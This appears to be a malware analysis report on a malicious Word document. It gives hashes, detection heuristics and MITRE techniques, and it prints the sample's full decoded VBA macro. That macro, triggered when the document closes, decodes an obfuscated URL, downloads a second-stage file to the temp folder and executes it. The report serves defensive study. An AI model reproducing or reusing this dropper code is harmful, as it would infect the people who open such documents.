Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 260cb6b8f485fa10…

MALICIOUS

Office (OLE)

162.5 KB Created: 2018-06-20 11:46:00 Authoring application: Microsoft Office Word First seen: 2020-04-06
MD5: ffafea45eed83f59f7c54cc74c94e36f SHA-1: 24f08e246efba3d35a17dbb9d9313d21df0b424a SHA-256: 260cb6b8f485fa1093737841cd99a10ca50fbb06ce5f6d6150cfa546e00cc53f
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The VBA macro contains a critical heuristic firing for downloading and executing a file via HTTP. The script constructs a URL and a temporary file path, then attempts to download content and save it. This indicates the document is a downloader for a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    BGRIWFUXHLGWTTTVOKOEQJRTUQDRHYWRCWSYEVVPIVHNULTNPCVURBYKVILJOQXIJNSQFMVGPNIXCCCEWSWLS = EWSWLSRZCDYLTPHYZKXBHMWEXQEPODTCUWKXDZJHSEQMKQYGQKPBYNOEORVPGKKJMXBFTBZIKLHTBXPGISGIPN.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set BETHZHJLHTHWPNHRMIPTLLFXLWDKBKDFRLKHQPBLXBYFGNYYEIGUDMVGDXNRSRTMJMCIIPRSOBJFXOPZOQWCMTNGTFESJRLNZ = CreateObject("Shell.Application")
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    BJKMIUCYQHISHJQVGMGZNXXLCLEGSGMJRQCMYUTYHOZTXKHVWNXZEYOTTSVHKNDJJRSUQDKGYPQBPRYWOUHIV = Environ("tmp") + UYFTDSFNTNMJSRCUZDBGPPZBGRIWFUXHLGWTTTVOKOEQJRTUQDRHYWRCWSYEVVPIVHNULTNPCVURBYKVILJOQXIJNSQFMV("\WMJKJåã.ÂÛÂ")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5304 bytes
SHA-256: d84f22b220e18a213a977a9ec05c7f382d18c7b0704ba293eb7002a9ac8f8d8a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_close()
Dim BJKMIUCYQHISHJQVGMGZNXXLCLEGSGMJRQCMYUTYHOZTXKHVWNXZEYOTTSVHKNDJJRSUQDKGYPQBPRYWOUHIV
Dim BETHZHJLHTHWPNHRMIPTLLFXLWDKBKDFRLKHQPBLXBYFGNYYEIGUDMVGDXNRSRTMJMCIIPRSOBJFXOPZOQWCMTNGTFESJRLNZ
Set BETHZHJLHTHWPNHRMIPTLLFXLWDKBKDFRLKHQPBLXBYFGNYYEIGUDMVGDXNRSRTMJMCIIPRSOBJFXOPZOQWCMTNGTFESJRLNZ = CreateObject("Shell.Application")

Dim EWSWLSRZCDYLTPHYZKXBHMWEXQEPODTCUWKXDZJHSEQMKQYGQKPBYNOEORVPGKKJMXBFTBZIKLHTBXPGISGIPN
Set EWSWLSRZCDYLTPHYZKXBHMWEXQEPODTCUWKXDZJHSEQMKQYGQKPBYNOEORVPGKKJMXBFTBZIKLHTBXPGISGIPN = CreateObject("microsoft.xmlhttp")

BJKMIUCYQHISHJQVGMGZNXXLCLEGSGMJRQCMYUTYHOZTXKHVWNXZEYOTTSVHKNDJJRSUQDKGYPQBPRYWOUHIV = Environ("tmp") + UYFTDSFNTNMJSRCUZDBGPPZBGRIWFUXHLGWTTTVOKOEQJRTUQDRHYWRCWSYEVVPIVHNULTNPCVURBYKVILJOQXIJNSQFMV("\WMJKJåã.ÂÛÂ")
EWSWLSRZCDYLTPHYZKXBHMWEXQEPODTCUWKXDZJHSEQMKQYGQKPBYNOEORVPGKKJMXBFTBZIKLHTBXPGISGIPN.Open "GET", UYFTDSFNTNMJSRCUZDBGPPZBGRIWFUXHLGWTTTVOKOEQJRTUQDRHYWRCWSYEVVPIVHNULTNPCVURBYKVILJOQXIJNSQFMV("hÖÖÓÕ://vÒÄd.ÁÀÖ/0bd³bbd6b³À²²4b805²Ãb7b789481À86ÁdÁ640À8"), False
EWSWLSRZCDYLTPHYZKXBHMWEXQEPODTCUWKXDZJHSEQMKQYGQKPBYNOEORVPGKKJMXBFTBZIKLHTBXPGISGIPN.send
BGRIWFUXHLGWTTTVOKOEQJRTUQDRHYWRCWSYEVVPIVHNULTNPCVURBYKVILJOQXIJNSQFMVGPNIXCCCEWSWLS = EWSWLSRZCDYLTPHYZKXBHMWEXQEPODTCUWKXDZJHSEQMKQYGQKPBYNOEORVPGKKJMXBFTBZIKLHTBXPGISGIPN.responseBody
If EWSWLSRZCDYLTPHYZKXBHMWEXQEPODTCUWKXDZJHSEQMKQYGQKPBYNOEORVPGKKJMXBFTBZIKLHTBXPGISGIPN.Status = 200 Then
Set JUMRUSXHORSXJHVWMPZDXOLMLNGJNVJIQLMIUJYXOJTOKQVNNHHUYFTDSFNTNMJSRCUZDBGPPZBGRIWFUXHLG = CreateObject("adodb.stream")
JUMRUSXHORSXJHVWMPZDXOLMLNGJNVJIQLMIUJYXOJTOKQVNNHHUYFTDSFNTNMJSRCUZDBGPPZBGRIWFUXHLG.Open
JUMRUSXHORSXJHVWMPZDXOLMLNGJNVJIQLMIUJYXOJTOKQVNNHHUYFTDSFNTNMJSRCUZDBGPPZBGRIWFUXHLG.Type = 1
JUMRUSXHORSXJHVWMPZDXOLMLNGJNVJIQLMIUJYXOJTOKQVNNHHUYFTDSFNTNMJSRCUZDBGPPZBGRIWFUXHLG.Write BGRIWFUXHLGWTTTVOKOEQJRTUQDRHYWRCWSYEVVPIVHNULTNPCVURBYKVILJOQXIJNSQFMVGPNIXCCCEWSWLS
JUMRUSXHORSXJHVWMPZDXOLMLNGJNVJIQLMIUJYXOJTOKQVNNHHUYFTDSFNTNMJSRCUZDBGPPZBGRIWFUXHLG.SaveToFile BJKMIUCYQHISHJQVGMGZNXXLCLEGSGMJRQCMYUTYHOZTXKHVWNXZEYOTTSVHKNDJJRSUQDKGYPQBPRYWOUHIV, 2
JUMRUSXHORSXJHVWMPZDXOLMLNGJNVJIQLMIUJYXOJTOKQVNNHHUYFTDSFNTNMJSRCUZDBGPPZBGRIWFUXHLG.Close
End If
BETHZHJLHTHWPNHRMIPTLLFXLWDKBKDFRLKHQPBLXBYFGNYYEIGUDMVGDXNRSRTMJMCIIPRSOBJFXOPZOQWCMTNGTFESJRLNZ.Open (BJKMIUCYQHISHJQVGMGZNXXLCLEGSGMJRQCMYUTYHOZTXKHVWNXZEYOTTSVHKNDJJRSUQDKGYPQBPRYWOUHIV)


End Sub

    Public Function UYFTDSFNTNMJSRCUZDBGPPZBGRIWFUXHLGWTTTVOKOEQJRTUQDRHYWRCWSYEVVPIVHNULTNPCVURBYKVILJOQXIJNSQFMV(GPNIXCCCEWSWLSRZCDYLTPHYZKXBHMWEXQEPODTCUWKXDZJHSEQMKQYGQKPBYNOEORVPGKKJMXBFTBZIKLHTBXPGISGIPNFMYY)
        ZGTETFOBOTQZRDUBDBHPWBCGSPEFVYIMHWUUTWPSVERRZUVRESIHXRCXSZFWWPPEIOCMCNWDWVSCZLDILJPXYJKOBQG = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥"
        NEHQUPFDDCFWTXMZSBDEZMBQIGZKGBINFEXRFQWDUDVXLFEBJITFQTRXYHRSWCYNVFPYVQGLLKNFCFUBBJ = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(GPNIXCCCEWSWLSRZCDYLTPHYZKXBHMWEXQEPODTCUWKXDZJHSEQMKQYGQKPBYNOEORVPGKKJMXBFTBZIKLHTBXPGISGIPNFMYY)
            KMIUCYQHISHJQVGMGZNXXLCLEGSGMJRQCMYUTYHOZTXKHVWNXZEYOTTSVHKNDJJRSUQDKGYPQBPRYWOUHIVZGTETFOBOTQ = InStr(ZGTETFOBOTQZRDUBDBHPWBCGSPEFVYIMHWUUTWPSVERRZUVRESIHXRCXSZFWWPPEIOCMCNWDWVSCZLDILJPXYJKOBQG, Mid(GPNIXCCCEWSWLSRZCDYLTPHYZKXBHMWEXQEPODTCUWKXDZJHSEQMKQYGQKPBYNOEORVPGKKJMXBFTBZIKLHTBXPGISGIPNFMYY, i, 1))
            If KMIUCYQHISHJQVGMGZNXXLCLEGSGMJRQCMYUTYHOZTXKHVWNXZEYOTTSVHKNDJJRSUQDKGYPQBPRYWOUHIVZGTETFOBOTQ > 0 Then
                ZRDUBDBHPWBCGSPEFVYIMFUSSRUNQTCPPXSTPCQGFVQZVQXDUUNNCGMZKZLUBUTQZXJBGJHNVWHIMYOELCFOS = Mid(NEHQUPFDDCFWTXMZSBDEZMBQIGZKGBINFEXRFQWDUDVXLFEBJITFQTRXYHRSWCYNVFPYVQGLLKNFCFUBBJ, KMIUCYQHISHJQVGMGZNXXLCLEGSGMJRQCMYUTYHOZTXKHVWNXZEYOTTSVHKNDJJRSUQDKGYPQBPRYWOUHIVZGTETFOBOTQ, 1)
                NDBBZDVRVKXQYBCXKYOGEXIEYGLDCVPDOUBSBTVJDCYIGRDORPVWFPQUZWMTDNWTOEJJILDZESYYHIKGSZWOFGQFHOTEKEXLVVJ = NDBBZDVRVKXQYBCXKYOGEXIEYGLDCVPDOUBSBTVJDCYIGRDORPVWFPQUZWMTDNWTOEJJILDZESYYHIKGSZWOFGQFHOTEKEXLVVJ + ZRDUBDBHPWBCGSPEFVYIMFUSSRUNQTCPPXSTPCQGFVQZVQXDUUNNCGMZKZLUBUTQZXJBGJHNVWHIMYOELCFOS
            Else
                NDBBZDVRVKXQYBCXKYOGEXIEYGLDCVPDOUBSBTVJDCYIGRDORPVWFPQUZWMTDNWTOEJJILDZESYYHIKGSZWOFGQFHOTEKEXLVVJ = NDBBZDVRVKXQYBCXKYOGEXIEYGLDCVPDOUBSBTVJDCYIGRDORPVWFPQUZWMTDNWTOEJJILDZESYYHIKGSZWOFGQFHOTEKEXLVVJ + Mid(GPNIXCCCEWSWLSRZCDYLTPHYZKXBHMWEXQEPODTCUWKXDZJHSEQMKQYGQKPBYNOEORVPGKKJMXBFTBZIKLHTBXPGISGIPNFMYY, i, 1)
            End If
        Next
        UYFTDSFNTNMJSRCUZDBGPPZBGRIWFUXHLGWTTTVOKOEQJRTUQDRHYWRCWSYEVVPIVHNULTNPCVURBYKVILJOQXIJNSQFMV = NDBBZDVRVKXQYBCXKYOGEXIEYGLDCVPDOUBSBTVJDCYIGRDORPVWFPQUZWMTDNWTOEJJILDZESYYHIKGSZWOFGQFHOTEKEXLVVJ
    End Function

Attribute VB_Name = "NewMacros"
Sub about()
'
' about Macro
'
'

End Sub